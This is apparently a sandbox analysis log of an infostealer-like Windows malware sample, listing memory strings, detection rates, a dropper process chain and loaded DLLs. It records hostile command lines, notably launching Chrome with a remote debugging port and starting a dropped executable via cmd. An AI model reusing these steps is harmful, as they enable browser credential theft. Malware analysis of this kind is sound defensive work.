Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540256198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540256198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: AWrVzd6XpC.exe, 00000000.00000003.1757276478.0000000005595000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000003.2272340073.0000000005CA5000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926765878.0000000003C06000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000002.2955157000.0000000003BE9000.00000004.00000800.00020000.00000000.sdmp, JDBFIIEBGCAKKEBFBAAF.5.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540256198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540256198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: AWrVzd6XpC.exe	Virustotal: Detection: 55%
Source: AWrVzd6XpC.exe	ReversingLabs: Detection: 60%

Source: I8WIG9OBFWN5NKZK2DW5QG7.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe

File read: C:\Users\user\Desktop\AWrVzd6XpC.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\AWrVzd6XpC.exe "C:\Users\user\Desktop\AWrVzd6XpC.exe"
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Process created: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe "C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe"
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Process created: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe "C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe"
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2152,i,2628833055758464656,3671942002628808571,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCBKECAKFB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GCBKECAKFB.exe "C:\Users\user\Documents\GCBKECAKFB.exe"
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe "C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe"
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Process created: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe "C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe "C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe"
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Process created: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe "C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Process created: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe "C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCBKECAKFB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2152,i,2628833055758464656,3671942002628808571,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GCBKECAKFB.exe "C:\Users\user\Documents\GCBKECAKFB.exe"	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe "C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe "C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe"
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Process created: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe "C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe"

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
